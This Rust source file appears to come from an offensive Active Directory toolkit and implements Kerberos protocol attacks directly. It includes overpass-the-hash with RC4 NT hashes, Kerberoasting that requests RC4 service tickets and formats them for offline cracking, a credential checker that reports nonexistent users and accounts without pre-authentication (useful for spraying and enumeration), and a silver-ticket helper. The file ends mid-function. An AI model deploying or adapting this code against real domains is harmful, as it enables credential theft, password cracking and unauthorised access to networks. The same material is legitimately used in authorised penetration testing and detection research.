use crate::{format_tgs, kdc_exchange, krb_string, now_kerberos_time, principal, ETYPE_RC4_HMAC};
use anyhow::{anyhow, bail, Context, Result};
use picky_asn1::bit_string::BitString;
use picky_asn1::wrapper::{
Asn1SequenceOf, BitStringAsn1, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag10,
ExplicitContextTag11, ExplicitContextTag2, ExplicitContextTag3, ExplicitContextTag4,
ExplicitContextTag5, ExplicitContextTag6, ExplicitContextTag7, ExplicitContextTag8,
GeneralStringAsn1, IntegerAsn1, OctetStringAsn1, Optional,
};
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::constants::key_usages::{AS_REP_ENC, TGS_REQ_PA_DATA_AP_REQ_AUTHENTICATOR};
use picky_krb::constants::types::{
AP_REQ_MSG_TYPE, AS_REQ_MSG_TYPE, NT_PRINCIPAL, NT_SRV_INST, PA_ENC_TIMESTAMP_KEY_USAGE,
TGS_REQ_MSG_TYPE,
};
use picky_krb::crypto::ChecksumSuite;
use picky_krb::crypto::{Cipher, CipherSuite};
use picky_krb::data_types::{
Authenticator, AuthenticatorInner, AuthorizationData, AuthorizationDataInner, EncTicketPart,
EncryptedData, EncryptionKey, EtypeInfo2, KerberosTime, PaData, PaEncTsEnc, PrincipalName,
Ticket, TicketInner, TransitedEncoding,
};
use picky_krb::data_types::{Checksum, PaPacOptions};
use picky_krb::messages::{
ApReq, ApReqInner, AsRep, AsReq, EncAsRepPart, KdcReq, KdcReqBody, KrbError, TgsRep, TgsReq,
};
use serde::Serialize;
pub struct Tgt {
ticket: Ticket,
session_key: Vec<u8>,
cname: PrincipalName,
crealm: String,
}
impl std::fmt::Debug for Tgt {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("Tgt")
.field("crealm", &self.crealm)
.field("cname", &self.cname)
.field("session_key", &"***")
.field("ticket", &"***")
.finish()
}
}
fn aes256() -> Box<dyn Cipher> {
CipherSuite::Aes256CtsHmacSha196.cipher()
}
fn session_etype(key: &[u8]) -> u8 {
if key.len() == 16 {
ETYPE_RC4_HMAC
} else {
crate::ETYPE_AES256
}
}
fn enc_session(key: &[u8], usage: i32, data: &[u8]) -> Result<Vec<u8>> {
if key.len() == 16 {
Ok(crate::rc4::encrypt(key, usage, data, None))
} else {
aes256()
.encrypt(key, usage, data)
.map_err(|e| anyhow!("encrypt (AES): {e}"))
}
}
fn dec_session(key: &[u8], usage: i32, ct: &[u8]) -> Result<Vec<u8>> {
if key.len() == 16 {
crate::rc4::decrypt(key, usage, ct).map_err(|e| anyhow!("decrypt (RC4): {e}"))
} else {
aes256()
.decrypt(key, usage, ct)
.map_err(|e| anyhow!("decrypt (AES): {e}"))
}
}
impl Tgt {
pub fn ticket_cipher(&self) -> &[u8] {
&self.ticket.0.enc_part.0.cipher.0 .0
}
pub fn session_key_bytes(&self) -> &[u8] {
&self.session_key
}
pub fn crealm(&self) -> &str {
&self.crealm
}
pub fn cname(&self) -> &PrincipalName {
&self.cname
}
}
fn encrypted_data(etype: u8, cipher: Vec<u8>) -> EncryptedData {
EncryptedData {
etype: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
kvno: Optional::from(None),
cipher: ExplicitContextTag2::from(OctetStringAsn1(cipher)),
}
}
fn kdc_options() -> BitStringAsn1 {
BitStringAsn1::from(BitString::with_bytes(vec![0x40, 0x81, 0x00, 0x00]))
}
fn nonce() -> IntegerAsn1 {
let mut n = [0u8; 4];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut n);
n[0] &= 0x7f;
IntegerAsn1(n.to_vec())
}
fn build_as_req(realm: &str, user: &str, padata: Option<PaData>) -> Result<AsReq> {
build_as_req_etype(realm, user, padata, crate::ETYPE_AES256)
}
fn build_as_req_etype(realm: &str, user: &str, padata: Option<PaData>, etype: u8) -> Result<AsReq> {
let body = KdcReqBody {
kdc_options: ExplicitContextTag0::from(kdc_options()),
cname: Optional::from(Some(ExplicitContextTag1::from(principal(
NT_PRINCIPAL,
&[user],
)?))),
realm: ExplicitContextTag2::from(krb_string(realm)?),
sname: Optional::from(Some(ExplicitContextTag3::from(principal(
NT_SRV_INST,
&["krbtgt", realm],
)?))),
from: Optional::from(None),
till: ExplicitContextTag5::from(crate::far_future_time()),
rtime: Optional::from(None),
nonce: ExplicitContextTag7::from(nonce()),
etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![IntegerAsn1(vec![etype])])),
addresses: Optional::from(None),
enc_authorization_data: Optional::from(None),
additional_tickets: Optional::from(None),
};
let pa = padata.map(|p| ExplicitContextTag3::from(Asn1SequenceOf::from(vec![p])));
Ok(AsReq::from(KdcReq {
pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![AS_REQ_MSG_TYPE])),
padata: Optional::from(pa),
req_body: ExplicitContextTag4::from(body),
}))
}
fn extract_salt(err: &KrbError, default: &str) -> String {
let Some(edata) = err.0.e_data.0.as_ref() else {
return default.to_string();
};
let Ok(padatas) =
picky_asn1_der::from_bytes::<picky_asn1::wrapper::Asn1SequenceOf<PaData>>(&edata.0 .0)
else {
return default.to_string();
};
for pa in padatas.0 {
if pa.padata_type.0 .0 == vec![0x13] {
if let Ok(info) = picky_asn1_der::from_bytes::<EtypeInfo2>(&pa.padata_data.0 .0) {
for entry in info.0 {
if let Some(salt) = entry.salt.0.as_ref() {
return String::from_utf8_lossy(salt.0.as_bytes()).into_owned();
}
}
}
}
}
default.to_string()
}
pub async fn get_tgt(user: &str, password: &str, realm: &str, kdc: &str) -> Result<Tgt> {
let realm = realm.to_uppercase();
let cipher = aes256();
let user = user.split('@').next().unwrap_or(user);
let user = user.rsplit('\\').next().unwrap_or(user);
let default_salt = format!("{realm}{user}");
tracing::debug!(
user, realm = %realm, kdc, cipher = "aes256-cts-hmac-sha1-96",
"get_tgt: AS-REQ round-trip start"
);
let raw1 = picky_asn1_der::to_vec(&build_as_req(&realm, user, None)?)
.map_err(|e| anyhow!("encode AS-REQ#1: {e}"))?;
tracing::trace!(bytes = raw1.len(), "AS-REQ#1 sent (no pre-auth)");
let resp1 = kdc_exchange(kdc, &raw1).await?;
tracing::trace!(bytes = resp1.len(), "AS-REQ#1 response");
let salt = if picky_asn1_der::from_bytes::<AsRep>(&resp1).is_ok() {
default_salt.clone() } else {
match picky_asn1_der::from_bytes::<KrbError>(&resp1) {
Ok(err) => {
let code = err.0.error_code.0;
if code != 25 {
bail!("KDC error {code} on initial AS-REQ");
}
extract_salt(&err, &default_salt)
}
Err(e) => bail!("unexpected AS response: {e}"),
}
};
let key = cipher
.generate_key_from_password(password.as_bytes(), salt.as_bytes())
.map_err(|e| anyhow!("derive AES key: {e}"))?;
let ts = PaEncTsEnc {
patimestamp: ExplicitContextTag0::from(now_kerberos_time()),
pausec: Optional::from(None),
};
let ts_der = picky_asn1_der::to_vec(&ts).map_err(|e| anyhow!("encode PA-TS: {e}"))?;
let enc_ts = cipher
.encrypt(&key, PA_ENC_TIMESTAMP_KEY_USAGE, &ts_der)
.map_err(|e| anyhow!("encrypt PA-TS: {e}"))?;
let padata = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x02])),
padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&encrypted_data(crate::ETYPE_AES256, enc_ts))
.map_err(|e| anyhow!("encode PA-TS ED: {e}"))?,
)),
};
let raw2 = picky_asn1_der::to_vec(&build_as_req(&realm, user, Some(padata))?)
.map_err(|e| anyhow!("encode AS-REQ#2: {e}"))?;
tracing::trace!(bytes = raw2.len(), "AS-REQ#2 sent (with PA-ENC-TIMESTAMP)");
let resp2 = kdc_exchange(kdc, &raw2).await?;
tracing::trace!(bytes = resp2.len(), "AS-REQ#2 response");
let as_rep: AsRep = picky_asn1_der::from_bytes(&resp2).map_err(|e| {
match picky_asn1_der::from_bytes::<KrbError>(&resp2) {
Ok(err) => {
let code = err.0.error_code.0;
tracing::warn!(code, "KDC rejected pre-auth AS-REQ");
anyhow!("pre-auth AS-REQ rejected, KDC error {code}")
}
Err(_) => anyhow!("AS-REP decode: {e}"),
}
})?;
let enc = &as_rep.0.enc_part.0;
let plain = cipher
.decrypt(&key, AS_REP_ENC, &enc.cipher.0 .0)
.map_err(|e| anyhow!("decrypt AS-REP: {e}"))?;
let enc_part: EncAsRepPart =
picky_asn1_der::from_bytes(&plain).map_err(|e| anyhow!("EncAsRepPart decode: {e}"))?;
let session_key = enc_part.0.key.0.key_value.0 .0.clone();
tracing::debug!(
session_key_len = session_key.len(),
etype = enc.etype.0 .0.first().copied().unwrap_or(0),
"TGT acquired"
);
Ok(Tgt {
ticket: as_rep.0.ticket.0.clone(),
session_key,
cname: as_rep.0.cname.0.clone(),
crealm: realm,
})
}
pub async fn asktgt(user: &str, realm: &str, kdc: &str, password: &str) -> Result<Vec<u8>> {
let realm = realm.to_uppercase();
let user = user.split('@').next().unwrap_or(user);
let user = user.rsplit('\\').next().unwrap_or(user);
tracing::debug!(
user, realm = %realm, kdc, cipher = "aes256-cts-hmac-sha1-96",
"asktgt: AS-REQ round-trip start (ccache output path)"
);
let cipher = aes256();
let etype = crate::ETYPE_AES256;
let default_salt = format!("{realm}{user}");
let raw1 = picky_asn1_der::to_vec(&build_as_req(&realm, user, None)?)
.map_err(|e| anyhow!("encode AS-REQ#1: {e}"))?;
tracing::trace!(
bytes = raw1.len(),
"AS-REQ#1 sent (no pre-auth, salt discovery)"
);
let resp1 = kdc_exchange(kdc, &raw1).await?;
tracing::trace!(bytes = resp1.len(), "AS-REQ#1 response");
let salt = if picky_asn1_der::from_bytes::<AsRep>(&resp1).is_ok() {
default_salt.clone()
} else {
match picky_asn1_der::from_bytes::<KrbError>(&resp1) {
Ok(err) => extract_salt(&err, &default_salt),
Err(e) => bail!("unexpected AS response: {e}"),
}
};
let key = cipher
.generate_key_from_password(password.as_bytes(), salt.as_bytes())
.map_err(|e| anyhow!("derive AES key: {e}"))?;
let ts = PaEncTsEnc {
patimestamp: ExplicitContextTag0::from(now_kerberos_time()),
pausec: Optional::from(None),
};
let ts_der = picky_asn1_der::to_vec(&ts).map_err(|e| anyhow!("encode PA-TS: {e}"))?;
let enc_ts = cipher
.encrypt(&key, PA_ENC_TIMESTAMP_KEY_USAGE, &ts_der)
.map_err(|e| anyhow!("encrypt PA-TS: {e}"))?;
let padata = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x02])),
padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&encrypted_data(etype, enc_ts))
.map_err(|e| anyhow!("encode PA-TS ED: {e}"))?,
)),
};
let raw2 = picky_asn1_der::to_vec(&build_as_req_etype(&realm, user, Some(padata), etype)?)
.map_err(|e| anyhow!("encode AS-REQ#2: {e}"))?;
let resp2 = kdc_exchange(kdc, &raw2).await?;
if let Ok(err) = picky_asn1_der::from_bytes::<KrbError>(&resp2) {
if err.0.error_code.0 == 14 {
let nt = crate::rc4::nt_hash(password);
return overpass_the_hash(user, &realm, kdc, &nt).await;
}
bail!("AS-REQ rejected, KDC error {}", err.0.error_code.0);
}
let as_rep: AsRep =
picky_asn1_der::from_bytes(&resp2).map_err(|e| anyhow!("AS-REP decode: {e}"))?;
let enc = &as_rep.0.enc_part.0;
let plain = cipher
.decrypt(&key, AS_REP_ENC, &enc.cipher.0 .0)
.map_err(|e| anyhow!("decrypt AS-REP: {e}"))?;
let enc_part: EncAsRepPart =
picky_asn1_der::from_bytes(&plain).map_err(|e| anyhow!("EncAsRepPart decode: {e}"))?;
crate::pkinit::build_ccache(&as_rep, &enc_part, &realm, user)
}
pub async fn get_tgt_by_hash(user: &str, realm: &str, kdc: &str, nt: &[u8; 16]) -> Result<Tgt> {
let realm = realm.to_uppercase();
let user = user.split('@').next().unwrap_or(user);
let user = user.rsplit('\\').next().unwrap_or(user);
let etype = ETYPE_RC4_HMAC;
let ts = PaEncTsEnc {
patimestamp: ExplicitContextTag0::from(now_kerberos_time()),
pausec: Optional::from(None),
};
let ts_der = picky_asn1_der::to_vec(&ts).map_err(|e| anyhow!("encode PA-TS: {e}"))?;
let enc_ts = crate::rc4::encrypt(nt, PA_ENC_TIMESTAMP_KEY_USAGE, &ts_der, None);
let padata = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x02])),
padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&encrypted_data(etype, enc_ts))
.map_err(|e| anyhow!("encode PA-TS ED: {e}"))?,
)),
};
let raw = picky_asn1_der::to_vec(&build_as_req_etype(&realm, user, Some(padata), etype)?)
.map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
let resp = kdc_exchange(kdc, &raw).await?;
let as_rep: AsRep = picky_asn1_der::from_bytes(&resp).map_err(|e| {
match picky_asn1_der::from_bytes::<KrbError>(&resp) {
Ok(err) => anyhow!(
"AS-REQ rejected, KDC error {} (RC4 disabled on this DC? — RC4 is off by default on Server 2025)",
err.0.error_code.0
),
Err(_) => anyhow!("AS-REP decode: {e}"),
}
})?;
let enc = &as_rep.0.enc_part.0;
let plain = crate::rc4::decrypt(nt, AS_REP_ENC, &enc.cipher.0 .0)
.map_err(|e| anyhow!("decrypt AS-REP (RC4): {e}"))?;
let enc_part: EncAsRepPart =
picky_asn1_der::from_bytes(&plain).map_err(|e| anyhow!("EncAsRepPart decode: {e}"))?;
let session_key = enc_part.0.key.0.key_value.0 .0.clone();
Ok(Tgt {
ticket: as_rep.0.ticket.0.clone(),
session_key,
cname: as_rep.0.cname.0.clone(),
crealm: realm,
})
}
pub async fn overpass_the_hash(
user: &str,
realm: &str,
kdc: &str,
nt: &[u8; 16],
) -> Result<Vec<u8>> {
let realm = realm.to_uppercase();
let user = user.split('@').next().unwrap_or(user);
let user = user.rsplit('\\').next().unwrap_or(user);
let etype = ETYPE_RC4_HMAC;
let ts = PaEncTsEnc {
patimestamp: ExplicitContextTag0::from(now_kerberos_time()),
pausec: Optional::from(None),
};
let ts_der = picky_asn1_der::to_vec(&ts).map_err(|e| anyhow!("encode PA-TS: {e}"))?;
let enc_ts = crate::rc4::encrypt(nt, PA_ENC_TIMESTAMP_KEY_USAGE, &ts_der, None);
let padata = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x02])), padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&encrypted_data(etype, enc_ts))
.map_err(|e| anyhow!("encode PA-TS ED: {e}"))?,
)),
};
let raw = picky_asn1_der::to_vec(&build_as_req_etype(&realm, user, Some(padata), etype)?)
.map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
let resp = kdc_exchange(kdc, &raw).await?;
let as_rep: AsRep = picky_asn1_der::from_bytes(&resp).map_err(|e| {
match picky_asn1_der::from_bytes::<KrbError>(&resp) {
Ok(err) => anyhow!(
"AS-REQ rejected, KDC error {} (RC4 disabled on this DC? — RC4 is off by default on Server 2025)",
err.0.error_code.0
),
Err(_) => anyhow!("AS-REP decode: {e}"),
}
})?;
let enc = &as_rep.0.enc_part.0;
let plain = crate::rc4::decrypt(nt, AS_REP_ENC, &enc.cipher.0 .0)
.map_err(|e| anyhow!("decrypt AS-REP (RC4): {e}"))?;
let enc_part: EncAsRepPart =
picky_asn1_der::from_bytes(&plain).map_err(|e| anyhow!("EncAsRepPart decode: {e}"))?;
crate::pkinit::build_ccache(&as_rep, &enc_part, &realm, user)
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum CredResult {
Valid, ValidButExpired, Invalid, Disabled, NoPreAuth, NoSuchUser, Other(u32),
}
pub async fn check_credential(
user: &str,
password: &str,
realm: &str,
kdc: &str,
) -> Result<CredResult> {
let realm = realm.to_uppercase();
let cipher = aes256();
let user = user.split('@').next().unwrap_or(user);
let user = user.rsplit('\\').next().unwrap_or(user);
let default_salt = format!("{realm}{user}");
let raw1 = picky_asn1_der::to_vec(&build_as_req(&realm, user, None)?)
.map_err(|e| anyhow!("encode AS-REQ#1: {e}"))?;
let resp1 = kdc_exchange(kdc, &raw1).await?;
if picky_asn1_der::from_bytes::<AsRep>(&resp1).is_ok() {
return Ok(CredResult::NoPreAuth); }
let salt = match picky_asn1_der::from_bytes::<KrbError>(&resp1) {
Ok(err) => match err.0.error_code.0 {
25 => extract_salt(&err, &default_salt), 6 => return Ok(CredResult::NoSuchUser),
c => return Ok(CredResult::Other(c)),
},
Err(e) => bail!("unexpected AS response: {e}"),
};
let key = cipher
.generate_key_from_password(password.as_bytes(), salt.as_bytes())
.map_err(|e| anyhow!("derive key: {e}"))?;
let ts = PaEncTsEnc {
patimestamp: ExplicitContextTag0::from(now_kerberos_time()),
pausec: Optional::from(None),
};
let enc_ts = cipher
.encrypt(
&key,
PA_ENC_TIMESTAMP_KEY_USAGE,
&picky_asn1_der::to_vec(&ts).unwrap(),
)
.map_err(|e| anyhow!("encrypt PA-TS: {e}"))?;
let padata = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x02])),
padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&encrypted_data(crate::ETYPE_AES256, enc_ts)).unwrap(),
)),
};
let raw2 = picky_asn1_der::to_vec(&build_as_req(&realm, user, Some(padata))?)
.map_err(|e| anyhow!("encode AS-REQ#2: {e}"))?;
let resp2 = kdc_exchange(kdc, &raw2).await?;
if picky_asn1_der::from_bytes::<AsRep>(&resp2).is_ok() {
return Ok(CredResult::Valid);
}
Ok(match picky_asn1_der::from_bytes::<KrbError>(&resp2) {
Ok(err) => match err.0.error_code.0 {
24 => CredResult::Invalid, 18 => CredResult::Disabled, 23 => CredResult::ValidButExpired, 6 => CredResult::NoSuchUser,
c => CredResult::Other(c),
},
Err(_) => CredResult::Other(0),
})
}
pub async fn roast_spn(tgt: &Tgt, sam: &str, spn: &str, kdc: &str) -> Result<String> {
let authenticator = Authenticator::from(AuthenticatorInner {
authenticator_bno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
crealm: ExplicitContextTag1::from(krb_string(&tgt.crealm)?),
cname: ExplicitContextTag2::from(tgt.cname.clone()),
cksum: Optional::from(None),
cusec: ExplicitContextTag4::from(IntegerAsn1(vec![0])),
ctime: ExplicitContextTag5::from(now_kerberos_time()),
subkey: Optional::from(None),
seq_number: Optional::from(None),
authorization_data: Optional::from(None),
});
let auth_der =
picky_asn1_der::to_vec(&authenticator).map_err(|e| anyhow!("encode authenticator: {e}"))?;
let enc_auth = enc_session(
&tgt.session_key,
TGS_REQ_PA_DATA_AP_REQ_AUTHENTICATOR,
&auth_der,
)?;
let ap_req = ApReq::from(ApReqInner {
pvno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag1::from(IntegerAsn1(vec![AP_REQ_MSG_TYPE])),
ap_options: ExplicitContextTag2::from(BitStringAsn1::from(BitString::with_bytes(vec![
0, 0, 0, 0,
]))),
ticket: ExplicitContextTag3::from(tgt.ticket.clone()),
authenticator: ExplicitContextTag4::from(encrypted_data(
session_etype(&tgt.session_key),
enc_auth,
)),
});
let ap_der = picky_asn1_der::to_vec(&ap_req).map_err(|e| anyhow!("encode AP-REQ: {e}"))?;
let pa_tgs = PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x01])), padata_data: ExplicitContextTag2::from(OctetStringAsn1(ap_der)),
};
let parts: Vec<&str> = spn.split('/').collect();
let sname = principal(NT_SRV_INST, &parts)?;
let body = KdcReqBody {
kdc_options: ExplicitContextTag0::from(kdc_options()),
cname: Optional::from(None), realm: ExplicitContextTag2::from(krb_string(&tgt.crealm)?),
sname: Optional::from(Some(ExplicitContextTag3::from(sname))),
from: Optional::from(None),
till: ExplicitContextTag5::from(crate::far_future_time()),
rtime: Optional::from(None),
nonce: ExplicitContextTag7::from(nonce()),
etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![
IntegerAsn1(vec![ETYPE_RC4_HMAC]),
IntegerAsn1(vec![crate::ETYPE_AES256]),
])),
addresses: Optional::from(None),
enc_authorization_data: Optional::from(None),
additional_tickets: Optional::from(None),
};
let tgs_req = TgsReq::from(KdcReq {
pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![TGS_REQ_MSG_TYPE])),
padata: Optional::from(Some(ExplicitContextTag3::from(Asn1SequenceOf::from(vec![
pa_tgs,
])))),
req_body: ExplicitContextTag4::from(body),
});
let raw = picky_asn1_der::to_vec(&tgs_req).map_err(|e| anyhow!("encode TGS-REQ: {e}"))?;
let resp = kdc_exchange(kdc, &raw).await?;
let tgs_rep: TgsRep =
picky_asn1_der::from_bytes(&resp).map_err(|_| anyhow!("TGS-REP: {}", krb_err(&resp)))?;
let tkt_enc = &tgs_rep.0.ticket.0 .0.enc_part.0;
let etype = tkt_enc
.etype
.0
.0
.iter()
.fold(0u32, |a, &b| (a << 8) | b as u32);
let cipher = &tkt_enc.cipher.0 .0;
Ok(if etype == ETYPE_RC4_HMAC as u32 {
format_tgs(sam, &tgt.crealm, spn, cipher)
} else {
crate::format_tgs_aes(sam, &tgt.crealm, spn, etype as u8, cipher)
})
}
pub struct ServiceTicket {
pub ticket: Ticket,
pub session_key: Vec<u8>,
pub crealm: String,
pub cname: PrincipalName,
pub spn: Vec<String>,
}
impl std::fmt::Debug for ServiceTicket {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("ServiceTicket")
.field("crealm", &self.crealm)
.field("cname", &self.cname)
.field("spn", &self.spn)
.field("session_key", &"***")
.field("ticket", &"***")
.finish()
}
}
pub async fn get_service_ticket(tgt: &Tgt, spn: &str, kdc: &str) -> Result<ServiceTicket> {
use picky_krb::constants::key_usages::TGS_REP_ENC_SESSION_KEY;
use picky_krb::messages::{EncAsRepPart, EncTgsRepPart};
tracing::debug!(
spn, kdc, crealm = %tgt.crealm, etypes = "AES256+RC4",
"get_service_ticket: TGS-REQ start"
);
let comps: Vec<&str> = spn.split('/').collect();
let req = build_tgs_req(
&tgt.crealm,
principal(NT_SRV_INST, &comps)?,
vec![ap_req_padata(tgt)?],
[0x40, 0x81, 0x00, 0x00], vec![],
&[crate::ETYPE_AES256, ETYPE_RC4_HMAC],
)?;
let raw = picky_asn1_der::to_vec(&req).map_err(|e| anyhow!("TGS-REQ encode: {e}"))?;
tracing::trace!(bytes = raw.len(), spn, "TGS-REQ sent");
let resp = kdc_exchange(kdc, &raw).await?;
tracing::trace!(bytes = resp.len(), "TGS-REP response");
let tgs_rep: TgsRep = picky_asn1_der::from_bytes(&resp).map_err(|_| {
let err_str = krb_err(&resp);
tracing::warn!(spn, "TGS-REP: {err_str}");
anyhow!("TGS-REP: {err_str}")
})?;
let enc = &tgs_rep.0.enc_part.0.cipher.0 .0;
let plain = dec_session(&tgt.session_key, TGS_REP_ENC_SESSION_KEY, enc)?;
let kdc_rep = picky_asn1_der::from_bytes::<EncTgsRepPart>(&plain)
.map(|p| p.0)
.or_else(|_| picky_asn1_der::from_bytes::<EncAsRepPart>(&plain).map(|p| p.0))
.map_err(|e| anyhow!("decode EncKDCRepPart: {e}"))?;
let session_key = kdc_rep.key.0.key_value.0 .0.clone();
tracing::debug!(
spn,
session_key_len = session_key.len(),
rep_etype = tgs_rep
.0
.enc_part
.0
.etype
.0
.0
.first()
.copied()
.unwrap_or(0),
"Service ticket acquired"
);
Ok(ServiceTicket {
ticket: tgs_rep.0.ticket.0.clone(),
session_key,
crealm: tgt.crealm.clone(),
cname: tgt.cname.clone(),
spn: comps.iter().map(|s| s.to_string()).collect(),
})
}
pub fn silver_service_ticket(tgt: &Tgt, spn: &str) -> ServiceTicket {
ServiceTicket {
ticket: tgt.ticket.clone(),
session_key: tgt.session_key.clone(),
crealm: tgt.crealm.clone(),
cname: tgt.cname.clone(),
spn: spn.split('/').map(|s| s.to_string()).collect(),
}
}
pub fn build_ap_req_gss(st: &ServiceTicket) -> Result<(Vec<u8>, [u8; 16])> {
let mut subkey = [0u8; 16];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut subkey);
let mut gss_cksum = Vec::new();
gss_cksum.extend_from_slice(&16u32.to_le_bytes());
gss_cksum.extend_from_slice(&[0u8; 16]);
gss_cksum.extend_from_slice(&0x0000_003cu32.to_le_bytes());
let authenticator = Authenticator::from(AuthenticatorInner {
authenticator_bno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
crealm: ExplicitContextTag1::from(krb_string(&st.crealm)?),
cname: ExplicitContextTag2::from(st.cname.clone()),
cksum: Optional::from(Some(ExplicitContextTag3::from(Checksum {
cksumtype: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80, 0x03])), checksum: ExplicitContextTag1::from(OctetStringAsn1(gss_cksum)),
}))),
cusec: ExplicitContextTag4::from(IntegerAsn1(vec![0])),
ctime: ExplicitContextTag5::from(now_kerberos_time()),
subkey: Optional::from(Some(ExplicitContextTag6::from(EncryptionKey {
key_type: ExplicitContextTag0::from(IntegerAsn1(vec![17])), key_value: ExplicitContextTag1::from(OctetStringAsn1(subkey.to_vec())),
}))),
seq_number: Optional::from(None),
authorization_data: Optional::from(None),
});
let auth_der =
picky_asn1_der::to_vec(&authenticator).map_err(|e| anyhow!("authenticator: {e}"))?;
let enc_auth = enc_session(&st.session_key, 11, &auth_der)?;
let ap_req = ApReq::from(ApReqInner {
pvno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag1::from(IntegerAsn1(vec![AP_REQ_MSG_TYPE])),
ap_options: ExplicitContextTag2::from(BitStringAsn1::from(BitString::with_bytes(vec![
0, 0, 0, 0,
]))),
ticket: ExplicitContextTag3::from(st.ticket.clone()),
authenticator: ExplicitContextTag4::from(encrypted_data(
session_etype(&st.session_key),
enc_auth,
)),
});
let ap_der = picky_asn1_der::to_vec(&ap_req).map_err(|e| anyhow!("AP-REQ: {e}"))?;
Ok((crate::gss::spnego_krb5_init(&ap_der), subkey))
}
pub fn build_ap_req_gss_aes256(st: &ServiceTicket) -> Result<(Vec<u8>, [u8; 32])> {
let mut subkey = [0u8; 32];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut subkey);
let mut gss_cksum = Vec::new();
gss_cksum.extend_from_slice(&16u32.to_le_bytes());
gss_cksum.extend_from_slice(&[0u8; 16]);
gss_cksum.extend_from_slice(&0x0000_003cu32.to_le_bytes());
let authenticator = Authenticator::from(AuthenticatorInner {
authenticator_bno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
crealm: ExplicitContextTag1::from(krb_string(&st.crealm)?),
cname: ExplicitContextTag2::from(st.cname.clone()),
cksum: Optional::from(Some(ExplicitContextTag3::from(Checksum {
cksumtype: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80, 0x03])),
checksum: ExplicitContextTag1::from(OctetStringAsn1(gss_cksum)),
}))),
cusec: ExplicitContextTag4::from(IntegerAsn1(vec![0])),
ctime: ExplicitContextTag5::from(now_kerberos_time()),
subkey: Optional::from(Some(ExplicitContextTag6::from(EncryptionKey {
key_type: ExplicitContextTag0::from(IntegerAsn1(vec![18])), key_value: ExplicitContextTag1::from(OctetStringAsn1(subkey.to_vec())),
}))),
seq_number: Optional::from(None),
authorization_data: Optional::from(None),
});
let auth_der =
picky_asn1_der::to_vec(&authenticator).map_err(|e| anyhow!("authenticator: {e}"))?;
let enc_auth = enc_session(&st.session_key, 11, &auth_der)?;
let ap_req = ApReq::from(ApReqInner {
pvno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag1::from(IntegerAsn1(vec![AP_REQ_MSG_TYPE])),
ap_options: ExplicitContextTag2::from(BitStringAsn1::from(BitString::with_bytes(vec![
0, 0, 0, 0,
]))),
ticket: ExplicitContextTag3::from(st.ticket.clone()),
authenticator: ExplicitContextTag4::from(encrypted_data(
session_etype(&st.session_key),
enc_auth,
)),
});
let ap_der = picky_asn1_der::to_vec(&ap_req).map_err(|e| anyhow!("AP-REQ: {e}"))?;
Ok((crate::gss::gss_krb5_aprep(&ap_der), subkey))
}
const PA_TGS_REQ: u8 = 0x01;
const KERB_NON_KERB_CKSUM_SALT: i32 = 17;
#[derive(Serialize)]
struct PaForUser {
user_name: ExplicitContextTag0<PrincipalName>,
user_realm: ExplicitContextTag1<GeneralStringAsn1>,
cksum: ExplicitContextTag2<Checksum>,
auth_package: ExplicitContextTag3<GeneralStringAsn1>,
}
fn krb_err(resp: &[u8]) -> String {
match picky_asn1_der::from_bytes::<KrbError>(resp) {
Ok(err) => format!("KDC error {}", err.0.error_code.0),
Err(e) => format!("decode: {e}"),
}
}
fn ap_req_padata(tgt: &Tgt) -> Result<PaData> {
let authenticator = Authenticator::from(AuthenticatorInner {
authenticator_bno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
crealm: ExplicitContextTag1::from(krb_string(&tgt.crealm)?),
cname: ExplicitContextTag2::from(tgt.cname.clone()),
cksum: Optional::from(None),
cusec: ExplicitContextTag4::from(IntegerAsn1(vec![0])),
ctime: ExplicitContextTag5::from(now_kerberos_time()),
subkey: Optional::from(None),
seq_number: Optional::from(None),
authorization_data: Optional::from(None),
});
let auth_der =
picky_asn1_der::to_vec(&authenticator).map_err(|e| anyhow!("authenticator: {e}"))?;
let enc_auth = enc_session(
&tgt.session_key,
TGS_REQ_PA_DATA_AP_REQ_AUTHENTICATOR,
&auth_der,
)?;
let ap_req = ApReq::from(ApReqInner {
pvno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag1::from(IntegerAsn1(vec![AP_REQ_MSG_TYPE])),
